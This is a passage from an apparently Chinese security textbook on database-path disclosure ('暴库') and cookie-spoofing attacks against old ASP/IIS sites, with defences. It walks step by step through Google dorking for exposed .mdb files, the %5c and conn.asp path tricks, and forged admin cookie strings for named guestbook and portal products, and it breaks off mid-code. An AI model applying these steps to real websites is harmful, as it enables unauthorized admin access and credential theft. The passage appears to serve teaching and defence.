步骤1　在Google搜索引擎的“搜索”文本框中输入“美容server.mapPath(".mdb")”，如图9-17所示。这里关键词可以是任意字符，如汽车、美容、政府等。

图　9-17　输入搜索内容

步骤2　单击【Google搜索】按钮，即可进行搜索，其搜索结果如图9-18所示。不难看出在搜索的结果中也会存在一些水分，而且范围太大。有的网页还包含一些ASP源代码，需要用户具有一定的鉴别能力。在众多找到的结果中，黑客会得到很多带有数据库路径的信息。

图　9-18　搜索结果

步骤3　在搜索结果列表中如果出现类似包含数据库路径的信息，则说明可以得到该网站数据库的相对地址，如图9-19所示。包含数据库路径的代码如下：

open"Driver={Microsoft Access Driver(*.mdb)};Dbq="+server.MapPath("……/data/new.mdb")

'set recordset1=server.createobject("ADODB.recors")

图　9-19　找到符合条件的网站

步骤4　从搜索结果列表中显示搜索到该站点符合条件的信息标题，即可打开相关的网页，如图9-20所示。由该标题链接可知该网页的链接地址为"http://www.******.com/html"，但在该网页中并没有包含"server.mappath"的数据库信息。

图　9-20　打开选定的网站

步骤5　结合出现的数据库相对路径".Dbq="+server.MapPath("……/data/new.mdb")"可知，该网站数据库的完整路径为http://www.******.com/data/news.mdb，在IE浏览器的地址栏中输入该地址，即可打开【文件下载】对话框，如图9-21所示。

图　9-21　【文件下载】对话框

步骤6　单击【保存】按钮，即可将数据库下载到本地计算机中。下载后使用Access 2007打开该数据库文件，在其中可看到一个名为"admin"的表，在该表中就包含了一个管理员用户名及密码，如图9-22所示。

图　9-22　得到用户名和密码

很明显，下载的是一个网站的数据库，一旦黑客得到用户名和密码，就会对该网站进行一系列的破坏活动。

9.4.2　Google暴库漏洞的分析与防范

在Google中输入"server.mapPath(".mdb")"，可以搜索到很多采用Access数据库的网站，并可以在搜索结果中得到如下的数据库的路径信息：

＜%

Set Conn=Server.CreateObject("ADODB.Connection")

set rs=Server.CreateObject("ADODB.recordset")

StrConn="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="＆Server.MapPath("数据库路径")

Conn.Open StrCnn

%＞

＜%Set Conn=Server.……%＞

通过上述数据库连接信息可以得到数据库的地址，在IE浏览器中输入数据库地址，就可以将其数据库文件下载到本地计算机中。在该网站的数据库没有采用MD5加密的情况下，这样黑客就容易得到其管理员用户名及密码等重要信息。黑客就可以利用这些信息攻击整个网站，这就是黑客常用的Google暴库基本原理。

1.Google暴库的分析

Google暴库的攻击技术已经存在有一段时间，但是目前遭受Google暴库攻击的站点依然很多。下面就来分析Google暴库漏洞出现的原因。在IE浏览器中打开搜索到数据库信息的网页，选择【查看】→【源文件】菜单项，即可打开网页源代码。

在网页源代码中可以查看到如下代码：

＜%

'开启ADO连接

Set Conn=Server.CreateObject("ADODB.Connection")

Conn.Open"Driver={Microsoft Access Driver

(*.mdb)};DBQ="+server.mapPath(../data/news.mdb)

'Set recordset1=server.createobject("ADODB.recordset")

'SQLrec="SELECT*FROM news order by id desc"

'recordset1.open SQLrec, conn,3,3

%＞

不难看出，上述代码与Google搜索到的内容基本一样，只不过藏在网页的源代码文件中。在ASP中，"＜%……%＞"标记中的内容将被作为ASP代码执行，而不显示在网页中，但是这些代码是可以在网页源文件中查看到的。

在编写网页程序时，如果需要判断某个请求的网页中是否有指定的内容，可以通过"recv"函数来接受服务器返回的内容（返回的内容是网页的源码），用正则表达式对源码进行匹配检查。这也是Google的搜索原理，所以利用Google可以直接搜索到网页中的源代码，甚至数据库连接信息，这就造成了Google搜索暴库。

黑客可以直接在Google中进行搜索，然后找到网页源代码中的数据库信息，进而对搜索到的网站进行攻击。如果网站中存在Google暴库漏洞，即使数据库的名字再怪异、隐藏的目录再深，只要ASP源代码失密，将会导致数据库被黑客下载。

2.Google暴库的防御

该漏洞出现的原因在于程序员的安全意识不强，对于数据库连接代码这类极为重要的信息，是不能直接放到网页源代码中的。要防止该类漏洞的出现，只需隐藏数据库连接语句，将其写入专门的数据库连接文件中。在需要执行数据库查询的网页中，通过include函数来调用数据库文件，打开数据库并执行相应的数据库操作即可。

首先，在Dreamweaver中创建一个conn.asp文件。其具体内容如下：

＜%

connstr="DBQ="+server.mappath("data/data.mdb")+";DefaultDir=;

DRIVER={Microsoft Access Driver(*.mdb)};"

Set conn=server.createobject("ADODB.CONNECTION")

On Error Resume Next

%＞

用Dreamweaver打开需要调用数据库的ASP文件，在其顶部加入"＜!--#include file="con n.asp"--＞"语句，这样在实现数据库的调用的同时，也可以将数据库语句隐藏，从而解决了源码被暴露，而导致黑客利用搜索引擎得到网站数据库的问题。

9.5　暴库漏洞攻击实例

黑客在不知道数据库名字的情况下，利用数据库暴库漏洞可以很容易地猜解出数据库的路径。通过暴库漏洞可以很轻易得到整个数据库，于是暴库成了一个比注入更为简单的入侵方法，同时数据库暴库技术在数据库下载漏洞中起到举足轻重的作用。

9.5.1　conn.asp暴库法

“conn.asp暴库”是一种比较古老的暴库技术，它是通过直接访问数据库连接文件使服务器出现错误，再根据服务器返回的错误信息提示从而报出数据库的地址。

注意　数据库连接文件conn.asp是在ASP程序中调用数据库的文件。在Conn.asp数据库连接文件中，包含有被调用数据库的名称和路径、SQL连接的用户名和密码等内容。同时网站的数据库连接文件，并不全是以"conn.asp"命名的，也可能是其他名称，所以“conn.asp暴库”还可能存在这些文件中。

conn. asp暴库法是最先出现的，只是在"%5c"暴库法出现后，很少被人提及。"%5c"暴库法随着服务器设置安全性的加强，用武之地会越来越少；而conn.asp暴库法发挥的余地更大，可以人为构造。

直接访问conn.asp可以获得数据库的地址的原因是conn.asp与调用文件的相对路径出错。在一般情况下，只要conn.asp不在根目录的系统，而调用文件在根目录，就会出现这种问题。准确的，conn.asp与调用它的文件，如果相对位置改变了，就会报错，从而暴出数据库路径。如果conn.asp是存放在根目录下的asp目录中的，而调用conn.asp的网页文件admin.asp是存放在根目录下的，由于执行目录的不同，在conn.asp中数据库的地址是以admin.asp为参照。相对于admin.asp文件，数据库地址为"/asp/new.mdb"，直接访问admin.asp文件时由于conn.asp被包含在"admin.asp"中，所以数据库路径为“F:\新建文件夹\web\asp\new.mdb”，其中“F:\新建文件夹\web”是站点的根目录。

这样得到的数据库的路径是正确的，但如果直接访问asp目录下的conn.asp文件时，根据文件中定义的数据库路径，此时服务器访问的数据库地址为“F:\新建文件夹\web\asp\asp\new.mdb”，这明显是一个错误的地址，所以服务器就会报错。

在conn.asp暴库时，获得的地址要去掉其中的conn.asp当前目录，即去掉conn.asp当前目录asp，就可以得到正确的数据库地址了。

9.5.2　%5c暴库法

在conn.asp文件中的数据连接代码看上去没有问题，而且数据库的名字也比较陌生，在这样情况下，黑客是很难猜解出数据库的名称和目录的。但是将网页链接地址中的“/”修改为"%5c"，就会把错误的网站路径传递给网站服务器，这样就可以根据返回的错误信息推断出数据库的位置。这就是%5c暴库法的基本原理。

%5c暴库法被认为是暴库绝招，它本身不是网页程序的漏洞，而是由于IIS解码特性造成的。如果IIS安全设置不正确，而网页设计者又没有考虑到IIS错误，容易被黑客利用。

但%5c暴库并不是对所有网址都有效，只有类似"asp?id="网页地址（表示有调用数据库的行为），如果确认这个网页是有调用数据库的，后面不是这样的也可以，如chklogin.asp等也可以。

1.绝对路径、相对路径和虚拟目录

%5c暴库法之所以能报出网站的数据库地址，与IIS设置解码有关系。由于浏览器对“相对路径”解码的错误，导致了数据库报出的漏洞。

下面将介绍IIS中常用的几个术语，如绝对路径、相对路径、虚拟目录等。

（1）相对路径。相对路径是指由文件所在的路径引起的跟其他文件（或文件夹）的路径关系。使用相对路径可以为网页设计者带来非常多的便利。例如，网站的根目录为F:\BBS\，然后在根目录中建立了一个名为admin的目录，则asp目录就是相对于F:\BBS\的一级子目录。对应到网站链接上来看，F:\BBS\对应的是"http://localhost"，而admin目录是相对于http://localhost的一级目录。因此，在Web服务器中访问admin目录时，只需在浏览器中输入相对路径http://localhost/admin即可。

（2）绝对路径。绝对路径是文件在服务器磁盘中的真实路径，完整描述文件位置的路径就是绝对路径。如admin目录的绝对路径就是F:\BBS\admin，它是一个二级目录。

（3）虚拟目录。在IIS中浏览Web站点之前，都需要创建一个虚拟目录，并进行相应的设置。虚拟目录是一个特殊的目录路径。每个Internet服务可以从多个目录中发布。以通用命名约定（UNC）名、用户名及用于访问权限的密码指定目录，可将每个目录定位在本地驱动器或网络上。虚拟服务器可拥有一个宿主目录和任意数量的其他发布目录，其他发布目录被称为虚拟目录。例如，Web服务的根目录为F:\BBS\，通过IIS的虚拟目录功能，可以发布一个论坛服务，论坛程序可以位于任意的路径。通过IIS的虚拟目录设置，仍能把BBS转化为在Web目录下，直接用http://localhost/bbs/进行访问。

使用虚拟目录时，设置的目录是指向一个绝对地址的物理路径。在IIS中，为了辨别当前访问的是否为虚拟目录，通常是查询每个目录是否指向一个物理路径，而进行查询判断时，是以路径中的“\”符号作为标志的。当IIS获取某个目录时，如果碰到“\”符号，则将“\”符号之后的路径作为物理的绝对路径，而忽略“\”符号之前的路径信息。

注意　虚拟目录并不出现在目录列表中，如果要访问虚拟目录，用户必须知道虚拟目录的别名，并在IE浏览器中输入URL。

2.将数据库变为绝对路径

在设计网站的数据库等一般都用相对路径，而Internet上网页用的都是绝对路径，需使用"server.mappath"法将相对路径转化为绝对路径。如果想将"conn.asp"数据库连接文件中的数据库路径转化为绝对路径，则需用到"Data Source=server.mappath("bbs.mdb")"代码。

其中"server.mappath"方法的作用是把相对路径转换为物理上的绝对路径，只有经过转换，服务器才能正确地获得数据库的路径，进行数据读写。

在使用"server.mappath"方法获取数据库文件的路径时，读取的路径为“Web根目录+相对路径+指定的路径”。如果当前网站根目录为"F:\BBS\"，在该目录下有"admin"文件夹，网页程序"admin.asp"和数据库"bbs.mdb"都放在该文件夹中。

Web根目录为"F:\BBS"，"conn.asp"数据库连接文件的相对路径是"\admin\"，指定的数据库文件路径是"bbs.mdb"，此时数据库文件的绝对路径为"F:\BBS\admin\bbs.mdb"。

3.%5c暴库的原理

在一般情况下，通过使用数据库连接文件中的"server.mappath"方法，可以正常获得数据库的绝对路径。如果浏览器中的链接地址已经被修改并提交，网页的相对路径就发生了变化，此时数据库的路径出错，从而报出数据库信息。如果提交的网页地址中包含“\”，IE浏览器将会自动把“\”转换为“/”，从而访问到正常的链接地址。例如提交"http://localhost/admin\admin.asp"，最终在IE浏览器中显示的都还是正常的网页。

如果对“\”符号进行编码转换，就可以避免IE浏览器的自动转化。例如上面提交的链接，变化编码后变成了"http://localhost/admin%5cadmin.asp"，其中"%5c"就是“\”符号的十六进制代码。在浏览器中提交上面的网址时"%5c"是不会被自动转换的，所以地址中的"%5c"会被原样提交。当IIS服务器收到用户提交的信息并做出解释时，又会将"%5c"还原成“\”符号，所以在IIS服务器中，用户提交的网址相对路径就变成了"admin\admin.asp"。

此时，通过"server.mappath"方法获得的数据库路径变成了"F:\BBS\"+"admin\bbs.mdb"。由于在IIS中是以“\”符号表示真实路径的目录关系，而以“/”符号表示虚拟路径，当IIS获取某个目录时，如果碰到“\”符号，则将“\”符号之后的路径作为物理的绝对路径，而忽略“\”符号之前的路径信息，所以IIS会将"admin\bbs.mdb"当成一个绝对路径，而忽略掉“\”符号之前的"admin"目录。因此，加上根目录的物理路径"F:\BBS"，此时得到的数据库真实路径变成为"F:\BBS\bbs.mdb"。

由于"F:\BBS\bbs.mdb"这个路径是不存在的，这样进行数据库连接自然是不会成功的。于是IIS服务器返回如下错误信息：

错误类型：

Microsoft JET Database Engine(0x80004005)

找不到文件'F:\BBS\bbs.mdb'。

/asp\conn.asp,第4行

上面介绍的就是"%5c"暴库方法的原理。黑客可以利用"%5c"暴库让网站隐藏的数据库文件路径报出。无论将数据库文件名再怪异、路径隐藏的再深，黑客也照样可以找到数据库的路径。但在报出的数据库信息中，显示的数据库路径不完全正确。比如上面显示的数据库路径为"F:\BBS\bbs.mdb"，而真实的数据库路径是"F:\BBS\admin\bbs.mdb"。出现这种情况的原因在于：IIS忽略了“\”之前的相对路径信息，所以在将报出的数据库地址变为真实的数据库地址时，需要加上“\”之前的相对目录。

4.%5c暴库产生的条件

%5c暴库漏洞并不是在任何情况下都存在，它的产生需要满足一定的条件。在一般情况下，只有满足以下几种条件，才可能产生%5c暴库漏洞。

（1）必须是数据库调用页面

要产生%5c暴库漏洞，必须要求访问的网页中有数据库调用，因为只有数据库调用的页面，才使用"include"语句来调用数据库连接文件"conn.asp"。

（2）至少为二级目录

使用%5c解码提交的页面，至少为二级目录，也就是说，必须形如"http://www.abc.com/2/*.asp"或"http://www.abc.com/a/b/*.asp"之类的链接才可以进行%5c暴库。而一级目录是无法暴库成功的，类似"http://www.abc.com/*.asp"的网站，是不可能存在%5c暴库漏洞的。

在暴库时并不限于将网址链接中的第二个“/”换成"%5c"，事实上，将多级目录之后的“/”更换为"%5c"，暴库的成功率反倒更高。例如某网站的链接为三级目录"http://www.abc.com/a/b/test.asp"，提交"http://www.abc.com/a%5c/test.asp"暴库不成功时，提交"http://www.abc.com/a/b%5ctest.asp"反而有可能成功。

9.5.3　防御暴库攻击

由于IIS服务器会对每个执行错误给出详细说明，而IIS的默认设置是将错误信息返回给用户，所以要避免暴库，就需改变IIS的默认设置，在出现错误时只给一个出错的页面，而不给出详细信息。对于网站设计者只需将出错信息屏蔽即可。

一般可以在conn.asp文件中加入语句：On Resume Next。代码作用是：出错后恢复执行下面的语句，即不处理出错信息，就不会返回错误信息，从而很好实现防御暴库漏洞攻击。

下面是一个完整的数据库防暴代码：

＜%

Option ExPlicit

Response. Buffer=True

Dim Db

Dim ConnStr

Db="data/数据库路径"

Connstr="Provider=Microsoft. Jet.OLEDB.4.0;Data Source="＆Server.MapPath(DB_set)

On Error Resume Next

Set conn=Server. CreateObject("ADODB.Connection")

conn. open ConnStr

If Err Then

err. Clear

set conn=nothing

Response. Write="数据库连接出错,请检查连接字串"

Response. End

End If

%＞

在使用上述数据库连接文件，当进行暴库时只会出现“数据库连接出错，请检查连接字串”提示信息，如图9-23所示。不仅可以使程序员获得足够的调试信息，还可以有效防御暴库漏洞的攻击。

图　9-23　暴库补漏后的提示信息

9.6　专家点拨

点拨1：在进行%5c暴库攻击时，为什么会出现二级目录暴库不成功，而三级目录暴库成功的情况？

解答：出现这种情况的原因在于，网站采用了虚拟目录。网站的子目录“2”可能是一个虚拟目录，“2”并不一定在网站根目录之下。虚拟目录“2”的真实物理目录有可能是任意的分区路径，不管位于"E:\2"还是"F:\2"都是可以的。

点拨2：在IE浏览器中输入数据库的地址进行下载数据库时，为什么打开的窗口会全是乱码？

解答：出现这种情况的原因在于，该网站数据库文件名的后缀是.asp，这样可以提交数据库的安全性。在浏览器中访问该数据库文件时，数据库文件将被当做asp网页文件，所以就直接显示乱码，而达到阻止用户下载数据库的目的。

9.7　总结与经验积累

本章主要介绍常见的数据库入侵及其防御方式，常见的数据库入侵技术有下载漏洞攻击和暴库漏洞攻击两种。如果数据库存在漏洞，将会给网站带来不可恢复的灾难。与前一章介绍的SQL注入攻击技术相比，本章介绍的这两种攻击方式更为简单，危害性更大。

一般的网站都需要使用数据库来存储信息，所以利用数据库漏洞对网站进行入侵的技术现在已经被广泛应用。要防范黑客入侵网站的数据库，首先要隐藏网站的数据库，不要让黑客知道数据库文件的路径和名称；其次需要管理员在网页程序中补上暴库漏洞，在数据库连接文件中加入容错代码等。

第10章
Cookies攻击与防范技术

重点提示

♂Cookies欺骗攻击实例

♂深入探讨Cookies欺骗漏洞

♂Cookies欺骗的防范措施

"Cookies"是保存在计算机中，用于记录用户在网页访问过程中输入、保存的一些数据信息文件。正因为"Cookies"具有这样的记录功能，用户在输入一些账户信息时，都将会被记录下来，而当黑客通过各种方式成功入侵用户的计算机后，就可以调出"Cookies"文件来盗取用户的隐私。

10.1　Cookies欺骗攻击实例

Cookies欺骗是在只对用户Cookies验证的系统中，可通过修改Cookies的内容来得到相应的用户登录权限，再修改Cookies的过期时间，实现永久登录效果。Cookies欺骗在入侵中经常用到，如LeadBBS v3.14论坛就曾出现过这样的欺骗漏洞。

10.1.1　Cookies信息的安全隐患

为方便浏览、准确收集访问者信息，目前很多网站都采用了Cookies技术。Cookies文件中存放了一些MD5加密信息，如用户ID、密码、停留时间等。

Cookies是当用户浏览某网站时，网站存储在计算机上的一个小文本文件，它记录了用户ID、密码、浏览过的网页、停留的时间等信息，当该用户再次来到该网站时，网站通过读取Cookies得知其相关信息，就可以做出相应动作，如在页面显示欢迎的标语，或让用户不用输入ID、密码就直接登录等。Cookies既可以存储在内存中（会话Cookies）也可以存储在硬盘中（持久Cookies）。Cookies主要分为持久Cookies和会话Cookies两种类型：

持久Cookies。该种Cookies被保存在用户的电脑硬盘中（通常是加密的），如用户在首次访问某站时服务器会新建一个唯一的ID，并把该ID记录在持久Cookies中传送给用户；而当该用户再次来访时，服务器会读取其对应的Cookies信息，判断用户是否为老用户，或计算访问次数等操作。所以持久Cookies可能会遭到Cookies欺骗及针对Cookies的跨站脚本攻击，不如会话Cookie安全。

会话Cookies。会话Cookies在服务器端被创建而被保存在内存（浏览器进程）中；当用户浏览某网页时创建，关闭该网页时即删除。例如首次登录网站时，服务器会验证用户的授权证书创建一个会话Cookies，在不关闭浏览器的情况下，如果再次访问该站，服务器就会读取该会话Cookie验证用户，通过验证后，服务器将返回用户请求的页面，否则用户就得重新登录。一旦退出该站，会话Cookie即被删除，用户的会员权限也将随之终止。

在Windows系统中打开默认的IE临时文件夹"C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files"，在其中可看到很多Cookies文件夹，如图10-1所示。其文件名格式为"Cookie:administrator@bs.serving-sys.com/"，使用记事本打开该文件，其具体内容如图10-2所示。

事实上，Cookies就是一个标识文件，当用户访问一个需要验证身份的网站时，网站就会留下一个记录，而当该用户下一次访问同一个站点时，站点页面会先查找这个记录，以确定该用户是否登录该网站，同时决定用户是否可直接进入网站或用以区别用户的权限。

图　10-1　系统中的Cookies文件

图　10-2　查看Cookies文件内容

每个Web站点都有自己的Cookie，而其内容可随时读取，但只能由该站点的页面完成。每个站点的Cookies与其他所有站点的Cookies存在同一文件夹中的不同文件内。一个Cookies就是一个唯一标识客户的标记，包含了用户的各种信息。最常见的Cookies信息使用是保存用户某个网站的登录密码，如图10-3所示。这样，当用户再次访问同一站点时，就不用再输入密码而直接登录该网站。

图　10-3　利用Cookies信息保存登录账号和密码

由于Cookies信息是保存在客户端的，所以可对Cookies信息进行设置。Cookies信息安全性不高，黑客完全可通过伪造Cookies信息，绕过网站程序的验证，也不需输入密码就可以登录网站，甚至进入网站后台管理页面。

10.1.2　利用IECookiesView获得目标计算机中的Cookies信息

IECookiesView是一款可搜寻并显示出本地计算机中所有Cookies信息的工具，可以显示包括是哪一个网站写入Cookies、写入时间日期及此Cookies的有效期限等信息。通过该软件，黑客可轻松了解用户最近访问的网站，甚至可任意修改用户在该网站上的注册信息。

利用IECookiesView获得目标计算机中Cookies信息的具体操作步骤如下：

步骤1　下载并运行IECookiesView，该工具就会自动扫描保存在本地计算机IE浏览器中的Cookies文件，其扫描结果如图10-4所示。

图　10-4　利用IECookiesView显示Cookies文件

步骤2　在“主页”列表中任意单击某个网页，就可以在下面的显示区域中看到该站点Cookies的信息，如地址、参数以及过期时间等，如图10-5所示。

图　10-5　查看某个站点Cookie的详细信息

注意　如果显示的是一个绿色的对勾则该Cookies可用；如果是一个红色的叉，则表示该Cookies已经过期，无法使用。

步骤3　如果想对Cookies中的某个键值进行编辑，则可在“键值”列表中右击该键值，在弹出的快捷菜单中选择“编辑Cookie内容”选项，即可打开【编辑Cookie内容】对话框，在其中设置各个属性，如图10-6所示。

图　10-6　【编辑Cookie内容】对话框

步骤4　在“站点”列表中右击某个Cookies，在弹出的快捷菜单中选择“打开站点”选项，则IE浏览器就会自动利用保存的Cookies信息打开相应的网址，如图10-7所示。

图　10-7　通过Cookies浏览网站

这样，黑客就利用这些不起眼的Cookies成功获得别人的隐私信息，而且在论坛中还可以冒用别人的名义发表帖子，但此软件只对IE浏览器的Cookies有效。

10.1.3　利用Cookies欺骗漏洞掌握网站

Cookies信息在网站程序起着非常重要的作用，但对于黑客来说，可以通过Cookies欺骗来实现攻击网站的目的。

1.Cookies欺骗的实现过程

下面以“Jimmy中文站留言簿v1.09”来介绍Cookies欺骗攻击的具体实现过程。具体的操作步骤如下。

步骤1　下载“Jimmy中文站留言簿v1.09”源文件，并在IIS中打开index.asp文件，即可看到Jimmy中文站留言簿的主页，如图10-8所示。

图　10-8　Jimmy中文站留言簿v1.09

步骤2　单击“版主管理”链接按钮，即可进入后台管理界面，如图10-9所示。

图　10-9　后台管理员登录页面

步骤3　在该页面中按要求管理用户名和密码，如果账号或密码错误，则无法进入管理员后台，此时就可以看到【非法登录】提示框，如图10-10所示。

图　10-10　【非法登录】提示框

步骤4　下载并运行Cookie浏览工具Cookies＆Injest，在上方浏览窗口中输入后台管理页面"http://localhost/JIMMY/admin-index.asp"，同样也被返回到登录页面，如图10-11所示。

图　10-11　在【Cookies＆Injest】中打开登录页面

步骤5　在该页面中随便输入一个用户名和密码，单击【提交】按钮，此时也是返回了错误信息，不过这时在"Cookies"文本中可以看到有数据了，如图10-12所示。单击工具栏中的【Cookies】按钮，在其文本框中即可查看当前登录的Cookies信息，看到的Cookies信息内容为"ASPSESSIONIDSCDTSCRRKGDFLJJACIOOJJIDNIGJHHKD;Path=/"，如图10-13所示。

图　10-12　返回错误信息

图　10-13　被截取的Cookies信息

步骤6　单击工具栏中的【设置自定义的Cookies】按钮，即可对Cookies信息进行修改。将"Path=/"后面字符替换成"lunjilyb=randomid=12＆password=123＆username=admin"字符。其中，admin和123分别为用户名和密码，可以改为任意值。修改后，Cookies信息变成了"ASPSESSIONIDSCDTSCRRKGDFLJJACIOOJJIDNIGJHHKD;lunjilyb=randomid=12＆pass word=xiaotou＆username=xiaotou"内容，如图10-14所示。

图　10-14　修改后的Cookies信息

步骤7　修改Cookies信息后再重新访问管理员后台页面"http://localhost/JIMMY/admin-index.asp"，即可看到不会再返回登录页面，已成功登录了管理员后台，如图10-15所示。

图　10-15　成功登录管理员后台页面

步骤8　在管理员后台页面中可修改管理员用户名和密码，如图10-16所示。也可利用跨站攻击进行挂马。这里已成功绕过了管理员的用户验证，Cookies欺骗攻击的目的达到了。此时可以在以管理员的身份在后台进行一系列操作，如修改版主资料，如图10-17所示。

图　10-16　修改管理员密码

图　10-17　修改版主资料

2.Cookies欺骗漏洞分析

由于“Jimmy中文站留言簿”中存在Cookies欺骗漏洞，所以通过Cookies欺骗绕过登录页面，而直接进入后台管理页面。下面对Cookies欺骗漏洞进行简要分析。使用Dreamweaver中打开的“Jimmy中文站留言簿v1.09”网站中的后台登录验证页面文件"chkmanage.asp"。

在该文件中找到如下代码：

＜%

if request.cookies("lunjilyb")("username")=""then

response.redirect"login.asp"

end if

if request.cookies("lunjilyb")("password")=""then

response.redirect"login.asp"

end if

if request.cookies("lunjilyb")("randomid")＜＞12 then

response.redirect"login.asp"

end if

%＞

不难看出上面包含三条request.cookies语句，其具体的作用如下。

第一条request.cookies语句：获取cookies中username的值，并判断其值是否为空。如果为空的话，则跳转到用户登录页面"login.asp"。

第二条request.cookies语句：获取cookies中password的值，并判断其值是否为空。如果为空，则跳转到用户登录页面"login.asp"。

第三条request.cookies语句：获取cookies中的randomid的值，并判断其值是否为“12”。如果不等于“12”，则跳转到用户登录页面"login.asp"。

从上述代码分析中可以看出，通过验证用户的Cookies信息可确认用户是否已经登录，同时可在本地更改Cookies信息。只要改后符合验证条件就可进入管理页面。

因此，只需要构造Cookies信息，使之满足如下几个条件就可以登录后台管理页面：

（1）用户名和密码不为空。要实现这一条件，需要Cookies信息中包含用户名和密码，将信息内容设置为如下形式，即可满足要求：Password=123＆username=admin

（2）randomid=12。要实现这一条件，可设置Cookies信息中有如下形式，即可满足要求：randomid=12。在Cookies信息中，各项数据是通过"＆"符号进行连接的，所以可构造出Cookies信息：randomid=12＆password=123＆username=admin。

（3）将常量"lunjilyb"添加到Cookies信息中。在检测Cookies信息时，使用代码为"request.cookies("lunjilyb")("password")"。其中包含一个"lunjilyb"常量，需将该常量添加到Cookies信息中，具体实现代码为lunjilyb=randomid=12＆password=123＆username=admin。

（4）将Session信息保存在Cookies信息中。在访问网站时，生成了一个Session信息，其具体内容为ASPSESSIONIDSCDTSCRRKGDFLJJACIOOJJIDNIGJHHKD。因此，也需将该信息保存在Cookies信息中，最终构造出来的欺骗性Cookies信息语句为ASPSESSIONIDSCD TSCRRKGDFLJJACIOOJJIDNIGJHHKD；lunjilyb=randomid=12＆password=123＆username=

admin。通过修改该Cookies信息，即可在不知道后台管理员的用户名和密码情况下，使用Cookies欺骗语句直接进行登录了。

注意　在修改Cookies信息时，可以打开临时文件夹下对应的Cookies信息文件，手工进行修改。但是要在众多临时文件中找到网站对应的Cookies信息是比较困难的，所以才借助"Cookies＆Injest"工具进行修改。

由上可知：Cookies欺骗实现的前提条件是服务器的验证程序存在漏洞，并且要先获得目标网站的Cookies信息。目前网站的验证程序要排除所有非法登录是非常困难的。例如，编写验证程序使用的语言可能存在漏洞。

10.2　深入探讨Cookies欺骗漏洞

下面继续分析一些典型的Cookies欺骗攻击漏洞，并讲解某些Cookies欺骗中的特殊情况。

10.2.1　数据库与Cookies的关系

“商贸通2006地方门户版系统”网站程序是一个网页信息发布系统，目前比较流行。由于该网站存在Cookies欺骗漏洞，它也成为很多黑客的利用对象。下面以该网站为例来介绍数据库与Cookies信息的关系。在Dreamweaver中打开“商贸通2006地方门户版系统”网站中的"admin"文件夹中的后台登录验证文件"chkadmin.asp"，在其中找到如下代码：

＜%

dim password

if int(replace(trim(Request("regjm")),"'",""))＜＞int(Session("GetCode"))then

response.write"＜script＞alert('用户登录出错,下面是产生错误的可能原因:\n\n·认证码输入错误');

history.go(-1);＜/Script＞"

Response.End

end if

'-------------------------------------------

nick=replace(trim(request("nick")),"'","")

password=replace(trim(Request("password")),"'","")

password=md5(password)

set rs=server.createobject("adodb.recordset")

sql="select*from SMT_admin where SMT_password='"＆password＆"'and SMT_nick=

'"＆nick＆"'"

rs.open sql, conn,1,1

if not(rs.bof and rs.eof)then

if password=rs("SMT_password")and nick=rs("SMT_nick")then

Response.Cookies("adminID")=rs("SMT_id")

Response.Cookies("admin")=rs("SMT_nick")

Response.Cookies("adminflag")=rs("SMT_flag")

response.redirect"manage.asp"

else

call Error

end if

else

call Error()

end if

sub Error()

response.write"＜script＞alert('用户登录出错,下面是产生错误的可能原因:\n\n·用户名或密码错

误');history.go(-1);＜/Script＞"

Response.End

end sub

rs.close

conn.close

set rs=nothing

set conn=nothing

%＞

上面虚线前面代码的作用是进行验证码对比，而其后代码则说明验证用户登录信息，并将其写入到Cookies中。其具体实现过程是：先从数据库中获取用户名及密码，在对比用户输入的登录密码后，将数据库中查询到的内容写入Cookies信息中。其验证过程的实现代码如下，如图10-18所示。

if password=rs("SMT_password")and nick=rs("SMT_nick")then

Response.Cookies("adminID")=rs("SMT_id")

Response.Cookies("admin")=rs("SMT_nick")

Response.Cookies("adminflag")=rs("SMT_flag")

response.redirect"manage.asp"

图　10-18　验证的实现代码

其中，"if password=rs("SMT_password")and nick=rs("SMT_nick")then"用于判断用户提交的password和nick值，是否与查询数据库返回的SMT_password和SMT_nick相同。如果相同，将SMT_id、SMT_nick和SMT_flag相应字段值以Cookies信息形式存储在用户端中。程序就转向到"manage.asp"页面，进入后台管理页面。

在整个过程中，程序并没有判断"SMT_password"字段的值，即用户输入的密码是否正确并不重要，而关键所在是SMT_id和SMT_nick、SMT_flag的相应字段值。

打开系统程序的数据库"\data\scadata.mdb"，打开管理员表"SMT_admin"，可以看到其中"SMT_id"字段对应的值是“5”，"SMT_nick"字段对应的值是"admin"，而"SMT_flag"字段对应的值比较长，其具体内容如图10-19所示。

图　10-19　关键字段对应的值

由上可知，只要在"Cookies＆Injest"工具中把Cookies值改为如下内容：

adminID=5;admin=admin;adminflag=1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1;

就可以成功登录到后台管理员页面了，但除Cookies信息中的逗号需要转换为URL编码"%2c"外，还需要在前面加上原始的Session信息。所以修改后Cookies信息如下：

ASPSESSIONIDSCDTSCRR=FHDFLJJAJKKODJHDIDLDDEIC;adminID=5;admin=admin;

adminflag=1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%

2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1;

这样重新刷新页面，在"Cookies＆Injest"工具的"Address"地址栏中输入管理员登录的页面地址，就可以直接进入后台登录页面了。

10.2.2　Cookies欺骗与上传攻击

单纯的Cookies欺骗攻击，可以获得后台管理员后台页面的访问权限，有时还可以帮助黑客直接上传ASP木马，以达到攻击整个网站服务器的目的。"L-Blog v1.08(SE)Build 0214"是一个ASP+Access结构的Blog程序，该程序版本非常多。该博客程序中存在一个Cookies欺骗漏洞，黑客可利用该漏洞获得前台管理员权限，从而引发文件上传漏洞攻击。

1."L-Blog"中的Cookies欺骗漏洞分析

在"L-Blog v1.08(SE)Build 0214"上传文件中存在一个上传漏洞，在Dreamweaver中打开上传程序网页文件"Attachment"，并找到如下代码：

Dim F_File, F_FileType, F_FileName

Set F_File=FileUP.File("File")

F_FileName=F_File.FileName

F_FileType=Ucase(F_File.FileExt)

IF F_File.FileSize＞Int(UP_FileSize)Then

Response.Write("＜a href='javascript:history.go(-1);'＞文件大小超出,请返回重新上传＜/a＞")

ElseIF IsvalidFileName(F_FileName)=False Then

Response.Write("＜a href='javascript:history.go(-1);'＞文件名称非法,请返回重新上传＜/a＞")

ElseIF IsvalidFileExt(F_FileType)=False Then

Response.Write("＜a href='javascript:history.go(-1);'＞文件格式非法,请返回重新上传＜/a＞")

Else

If FSOIsOK=1 Then

Dim FileIsExists

